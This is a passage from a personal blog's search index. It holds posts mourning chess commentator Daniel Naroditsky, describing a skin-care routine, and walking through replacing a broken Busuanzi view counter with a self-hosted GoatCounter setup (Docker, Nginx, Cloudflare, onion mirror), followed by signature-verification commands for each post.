happen.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to have a database for it.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo\u0026hellip; I decided to take a path which is not necesserially the best.\nIt requires a third party to act on your behalf, but it is not as scary as it sounds.\nAccording to Github:\u003c/p\u003e","title":"New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)"},{"content":"Daniel Naroditsky has passed away. I\u0026rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it.\nThe occasion is grim. However, let\u0026rsquo;s remember the immense pressure he was under. Let\u0026rsquo;s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru!\nThe problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. I don\u0026rsquo;t know how to relate to any of these now. I do think this is some stupid, sad consequence that these baseless accusations have. All players have their exceptionally good days, and many many bad days. These accusations make no sense.\nI do think Danya went under so much pressure from these allegations, though. I don\u0026rsquo;t know if he ever cheated or not, but like, what\u0026rsquo;s the point now? He is gone. He\u0026rsquo;ll never be back.\nI don\u0026rsquo;t know what the cause was, but I hope he didn\u0026rsquo;t take his own life. I don\u0026rsquo;t know how the world will ever forgive FIDE or Kramnik for this. This bullying in plain sight is just brutal.\nRest in peace, Danya. I don\u0026rsquo;t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSpazRAAkvfyfZFtYRnSapnmBsWF\u0026#43;f6Sj42Cy5T5PFq6C\u0026#43;DdQdOq1VZjGComKjXv YqD4dkiBNsFXehp/DLUXxh\u0026#43;jvme1icBas5tZJooJX\u0026#43;ykhlDflRRheyz3k/3fpVV2 fo48rh5vV3cn1zDUZA2\u0026#43;XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O u6PH0hwDYvarj4RFEadIq2\u0026#43;vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS\u0026#43;7tS8RZnYMX9 BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2 eTnhxoMGldwPp4PKq3bGt6KrI2zN\u0026#43;P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c 9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV\u0026#43;1HyH/1flk/47szJXGZ6Gg\u0026#43; NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X xc7JMmK\u0026#43;AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8 zVuQEy3O7tkGShRjgnS\u0026#43;T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4= =BEoA -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md.asc gpg --verify danya.md.asc danya.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/","summary":"\u003cp\u003eDaniel Naroditsky has passed away.\nI\u0026rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus.\nI like Fabi a lot, but my all-time favorite is Hikaru.\nDanya was my favorite commentator.\nSomeone who was so fun to watch explaining complex positions.\nI think he was indeed, if not the best, one of the best at it.\u003c/p\u003e\n\u003cp\u003eThe occasion is grim.\nHowever, let\u0026rsquo;s remember the immense pressure he was under.\nLet\u0026rsquo;s remember how he was accused of cheating by Kramnik many, many times.\nBy a former world champion.\nSomeone who has accused many and has ruined their lives for no reason.\nThe likes of Hikaru!\u003c/p\u003e","title":"Danya"},{"content":"I don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;why the f***?\u0026rdquo; I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;. So\u0026hellip; idk why I decided to take extra care of my skin, but I did!\nGenerally speaking, things like this make me feel good about myself. Like I\u0026rsquo;m doing something positive while not being tortured! It\u0026rsquo;s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice!\nOh\u0026hellip; and yeah, idk why I\u0026rsquo;m not good at excercising, but I really like to do things like this! Weird. I should definitely start going to the gym and working out. It is needed for me.\nSo\u0026hellip; I decided to watch a few Youtube videos, and a guide about skin care for men. My routine is super simple! I have a face cleanser that I use first and wash my face with it. It always feels refreshing and nice to use it! I initially bought the CeraVe cleaner, but switched to \u0026ldquo;Jack Black Pure Clean Daily Facial Cleanser\u0026rdquo; after that one ended. The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. You don\u0026rsquo;t need to use the cleanser in the morning, but you should definitely use it at night. It\u0026rsquo;s ok to wash your face with water in the morning.\nThe next step for me is applying the toner. I use \u0026ldquo;NIVEA Derma Skin Clear Toner\u0026rdquo;. It smells really nice and is quite refreshing to apply to the skin! The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. I gently rub it and let it dry; no rinsing is required here.\nAfter this, I apply an exfoliant to exfoliate my skin. I\u0026rsquo;ve been using \u0026ldquo;Paula\u0026rsquo;s Choice Skin Perfecting 2% BHA Liquid Exfoliant\u0026rdquo; so far, but this time I got \u0026ldquo;BULLDOG Original Exfoliating Face Scrub for Purer Skin\u0026rdquo;. Haven\u0026rsquo;t used it yet, but Paula\u0026rsquo;s choice one is definitely good. The thing with it is that you don\u0026rsquo;t have to massage it; it\u0026rsquo;s not physical; it\u0026rsquo;s an acid. I prefer the scrubby ones, but I think these are better for your skin. I\u0026rsquo;ll see how I like the new one, and if I prefer it or not. No rinsing is required here either.\nI then apply my eye cream, which is also from CeraVe. Haven\u0026rsquo;t really seen much of a difference under my eyes, but it is supposed to help. I don\u0026rsquo;t know! It feels good to apply the eye cream regardless.\nThe next step for me is the best one! Moisturiser. Yayy!!! It actually feels weird to use a moisturiser since I\u0026rsquo;ve watched Mortuary Assisant\u0026rsquo;s gameplay, and the last step there for embalming the body is applying moisturiser. Feels weird. The one I use is water-based, hence perfect for men. I use \u0026ldquo;Neutrogena Hydro Boost Aqua Gel Moisturiser\u0026rdquo;. As a man, if you use oil-based products, you\u0026rsquo;ll get acne. So don\u0026rsquo;t.\nI learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^\nAnd\u0026hellip; last but not least is applying sun screen. Nothing special here. I just make sure to use SPF 50+ sunscreen for better protection.\nEven if it does nothing, it still makes me feel good about myself.\nThe whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk\u0026#43;LTcJ1EXmED HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu\u0026#43;tEpgIY8fSXzIb/gsUb/K3vZb JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi 2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor\u0026#43;NAYKJmC veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi 8yk4/W4ASJfrE5ns\u0026#43;PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H\u0026#43;1E04P1uVHj102RXV7HFfYYDv59b suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX 1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= =dBAx -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md.asc gpg --verify skin_routine.md.asc skin_routine.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/","summary":"\u003cp\u003eI don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;why the f***?\u0026rdquo; I have a skin routine.\nLast year, after I came to Germany, I asked a female friend about how to do skin care.\nShe touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;.\nSo\u0026hellip; idk why I decided to take extra care of my skin, but I did!\u003c/p\u003e\n\u003cp\u003eGenerally speaking, things like this make me feel good about myself.\nLike I\u0026rsquo;m doing something positive while not being tortured!\nIt\u0026rsquo;s always fun to rub cream on your face or gently massage it.\nEven cleaning the face skin feels refreshing.\nEverything also smells nice!\u003c/p\u003e","title":"Skin routine"},{"content":"I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.\nThe thing is, I don\u0026rsquo;t think the counter even works correctly. Or maybe I\u0026rsquo;m undermining my blog popularity! But regardless, it was a small stiching task that I did on this lovely Friday evening. The day before my next term of German class starts. The day before playing deadface CTF that I\u0026rsquo;ve been counting days for.\nThe neat footer row First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_pv\u0026#34;\u0026gt; Site views: \u0026lt;span id=\u0026#34;busuanzi_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_uv\u0026#34;\u0026gt; Visitors: \u0026lt;span id=\u0026#34;busuanzi_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.\nThe first round of checks I added the script site‑wide in layouts/partials/extend_head.html:\n\u0026lt;script src=\u0026#34;//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js\u0026#34; defer\u0026gt;\u0026lt;/script\u0026gt; Refreshed. Still blank.\nDevTools time. Network tab: the script does load:\nRequest URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js Request Method: GET Status Code: 304 Not Modified Referrer Policy: strict-origin-when-cross-origin User-Agent: a normal Chromium build (nothing exotic) No red flags. Just a perfectly normal 304.\nMaybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… —.\nThe odd message Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:\n“域名过长,已被禁用 views”\nThat’s “domain name too long, disabled.” Wait, what?\nI checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.\nTwo ways out At this point I had two clean options:\nKeep Busuanzi and move the site to the apex domain (short enough). Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit. I liked the subdomain (habit, mostly), so I tried Vercount.\nThe swap (five-minute fix) I removed the Busuanzi script and added Vercount instead:\n\u0026lt;!-- extend_head.html --\u0026gt; \u0026lt;script defer src=\u0026#34;https://events.vercount.one/js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; I kept the same tidy footer row, but switched the IDs to Vercount’s:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Site views: \u0026lt;span id=\u0026#34;vercount_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Visitors: \u0026lt;span id=\u0026#34;vercount_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; For per‑post counts (in the post meta), I added:\n\u0026lt;span id=\u0026#34;vercount_value_page_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; views Deploy. Refresh. Numbers.\nBut if you want to stay with Busuanzi… If your apex domain is short enough, pointing the site there works fine. The gist:\nSet baseURL in Hugo to the apex:\nbaseURL = \u0026#34;https://alipourimjourneys.ir/\u0026#34; Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).\nKeep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.\nPost‑mortem checklist (a.k.a. things I learned) If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule. Busuanzi refuses long hostnames (\u0026gt;22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount). CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. Happy ending Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.\nIf you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.\nFinal notes Yea\u0026hellip; I just felt this feature was missing, and it\u0026rsquo;s good to have it there. I hope I stop adding things to the blog, and just keep writing in it. I\u0026rsquo;ve spent too much time on it, and it feels like wasted time.\nChange of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.\n1) Clean up old counters (optional, once) # From your Hugo site root grep -RinE \u0026#34;busuanzi|vercount|vercount_value_|busuanzi_value_\u0026#34; . Remove any matching \u0026lt;script\u0026gt; and leftover *_value_* spans you no longer want.\n2) Run GoatCounter with Docker Compose Minimal docker-compose.yml in ~/goatcounter:\nservices: goatcounter: image: arp242/goatcounter:2.6 container_name: goatcounter ports: - \u0026#34;127.0.0.1:8081:8080\u0026#34; # bind only to localhost; nginx will proxy volumes: - goatcounter-data:/home/goatcounter/goatcounter-data restart: unless-stopped volumes: goatcounter-data: {} Start:\ndocker compose pull \u0026amp;\u0026amp; docker compose up -d Initialize the site (replace email if needed):\ndocker compose exec goatcounter goatcounter db create site -vhost=statsblog.alipourimjourneys.ir -user.email=iman.alip2001@gmail.com If you ever see “no site at this domain” on localhost: use the exact vhost above.\n3) Cloudflare + Origin certificate (CF → origin TLS) DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange). SSL/TLS mode: Full (strict). Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server: sudo mkdir -p /etc/ssl/cloudflare sudo nano /etc/ssl/cloudflare/origin.crt # paste PEM sudo nano /etc/ssl/cloudflare/origin.key # paste key sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key} sudo chmod 644 /etc/ssl/cloudflare/origin.crt sudo chmod 600 /etc/ssl/cloudflare/origin.key 4) Nginx vhost for the stats subdomain # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf server { listen 80; server_name statsblog.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name statsblog.alipourimjourneys.ir; ssl_certificate /etc/ssl/cloudflare/origin.crt; ssl_certificate_key /etc/ssl/cloudflare/origin.key; # Proxy to the container on localhost proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_pass http://127.0.0.1:8081; } } Enable \u0026amp; reload:\nsudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 5) Hugo integration (clearnet + onion, singular/plural + “0 views”) Self‑host count.js so the onion mirror never fetches a third‑party script:\nSave the official count.js as static/js/count.js in your Hugo repo. Then add this to layouts/partials/extend_head.html (loader + helper):\n\u0026lt;!-- Loader: choose endpoint based on hostname --\u0026gt; \u0026lt;script\u0026gt; (function () { var ONION = /\\.onion$/i.test(location.hostname); window.goatcounter = { endpoint: ONION ? \u0026#39;/count\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir/count\u0026#39; }; var s = document.createElement(\u0026#39;script\u0026#39;); s.async = true; s.src = \u0026#39;/js/count.js\u0026#39;; document.head.appendChild(s); })(); \u0026lt;/script\u0026gt; \u0026lt;!-- Helper: inline meta counts (post pages + lists) and totals --\u0026gt; \u0026lt;script\u0026gt; (function () { const ONION = /\\.onion$/i.test(location.hostname); const GC_HOST = ONION ? \u0026#39;\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir\u0026#39;; // \u0026#39;\u0026#39; = same-origin on .onion const SING=\u0026#39;view\u0026#39;, PLUR=\u0026#39;views\u0026#39;; const nf = new Intl.NumberFormat(); function ready(fn){ if (document.readyState !== \u0026#39;loading\u0026#39;) fn(); else document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, fn); } function gcPath(){ try { return (window.goatcounter \u0026amp;\u0026amp; window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } } async function fetchCount(path){ try { const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:\u0026#39;omit\u0026#39; }); if (r.status === 404) return 0; if (!r.ok) throw 0; const j = await r.json(); const n = Number(String(j.count).replace(/,/g,\u0026#39;\u0026#39;)); return Number.isFinite(n) ? n : 0; } catch { return null; } } const label = (n) =\u0026gt; (n === null ? \u0026#39;—\u0026#39; : `${nf.format(n)} ${n === 1 ? SING : PLUR}`); ready(async function () { // A) Single post: add to existing meta row + small bottom const post = document.querySelector(\u0026#39;.post-single\u0026#39;); if (post) { const meta = post.querySelector(\u0026#39;.post-header .post-meta, .post-header .entry-meta, .post-meta\u0026#39;); const path = gcPath(); const n = await fetchCount(path); if (meta) { let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } span.textContent = label(n ?? 0); } const after = post.querySelector(\u0026#39;.post-content\u0026#39;) || post; let bottom = post.querySelector(\u0026#39;.post-views-bottom\u0026#39;); if (!bottom) { bottom = document.createElement(\u0026#39;div\u0026#39;); bottom.className=\u0026#39;post-views-bottom\u0026#39;; after.insertAdjacentElement(\u0026#39;afterend\u0026#39;, bottom); } bottom.textContent = label(n ?? 0); } // B) Lists (/posts, home, sections): show “0 views” instead of hiding const cards = document.querySelectorAll(\u0026#39;article.post-entry\u0026#39;); await Promise.all(Array.from(cards).map(async (card) =\u0026gt; { const meta = card.querySelector(\u0026#39;.entry-footer, .post-meta\u0026#39;); const link = card.querySelector(\u0026#39;a.entry-link, h2 a, .entry-title a\u0026#39;); if (!meta || !link) return; try { const u = new URL(link.getAttribute(\u0026#39;href\u0026#39;), location.origin); if (u.origin !== location.origin) return; let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } const n = await fetchCount(u.pathname); span.textContent = label(n ?? 0); } catch {} })); // C) Site totals (optional placeholders) const pvEl = document.getElementById(\u0026#39;vercount_value_site_pv\u0026#39;); if (pvEl) { const n = await fetchCount(\u0026#39;TOTAL\u0026#39;); pvEl.textContent = (n===null) ? \u0026#39;—\u0026#39; : nf.format(n); } }); })(); \u0026lt;/script\u0026gt; Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:\n.post-single .post-header .post-meta, .post-single .post-header .entry-meta, .post-entry .entry-footer, .post-entry .post-meta { display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; } .post-single .post-header .post-meta \u0026gt; *, .post-single .post-header .entry-meta \u0026gt; *, .post-entry .entry-footer \u0026gt; *, .post-entry .post-meta \u0026gt; * { display:inline-flex; align-items:center; white-space:nowrap; } .post-single .post-header .post-meta \u0026gt; * + *::before, .post-single .post-header .entry-meta \u0026gt; * + *::before, .post-entry .entry-footer \u0026gt; * + *::before, .post-entry .post-meta \u0026gt; * + *::before { content:\u0026#34;·\u0026#34;; margin:0 .5rem; opacity:.6; } .post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } 6) Count Tor (.onion) visits into the same site In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:\n# inside: server { ... } for fjthpp2h3mj2r....onion location = /count { proxy_pass http://127.0.0.1:8081/count; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; # onion is http } location /counter/ { proxy_pass http://127.0.0.1:8081/counter/; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; add_header Cache-Control \u0026#34;no-store\u0026#34;; proxy_no_cache 1; proxy_cache_bypass 1; } Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.\nNote on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.\n7) Troubleshooting quick notes 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header. Counts don’t change on onion → verify Tor path via torsocks, watch logs: docker compose logs -f goatcounter # look for “ignored: bot” (curl UA), or DNT being respected DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin). That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.\nHonestly, self-hosting GoatCounter wasn\u0026rsquo;t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it\u0026rsquo;s done and dusted, and I\u0026rsquo;m a happy puppy! :D\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSolRg//SwN9nMf9/Wgkr5h\u0026#43;dQowZMCHXXcKWgO8J08ITVDN1\u0026#43;weNNGANFrz63SQ DajHGeSogYW1\u0026#43;AAxJaAeQ7hLdOX9foV5pT\u0026#43;kWANIjRBXnFyW\u0026#43;WR7kt6tmN2rcSH8 z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK\u0026#43;YldftO6GB8WP4oNDqOwHvoIE6o0ekdH sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL\u0026#43;rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2 X5\u0026#43;7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU\u0026#43;f911voV7ZA\u0026#43;KbUqHsQrISTKz cd\u0026#43;tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak \u0026#43;Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk\u0026#43;0HhZn9UJxJPaa/WTgVWDgpt\u0026#43;\u0026#43;Ce fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS\u0026#43;GaUynjLzEWveOib dxLcbIIap\u0026#43;nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc= =o387 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc gpg --verify view_count.md.asc view_count.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/","summary":"I tried to add a simple \u0026lsquo;views\u0026rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.","title":"A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --\u003e swapped with GoatCounter the GOAT)"},{"content":" I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D\nThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\nSo I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.\nThis post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I\u0026rsquo;ll try to include as much detail as I can.\n1) Sketch → CAD → Print I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:\nMounting bosses for the front diffusers (M2 screws), Cable holes between chambers (rounded to avoid cutting silicone wire), and A small wiring bay for the controller and power. I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.\nThe design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.\n2) The Look I Wanted I wasn\u0026rsquo;t building a stage light. The goal was calm: slow waves, breathing 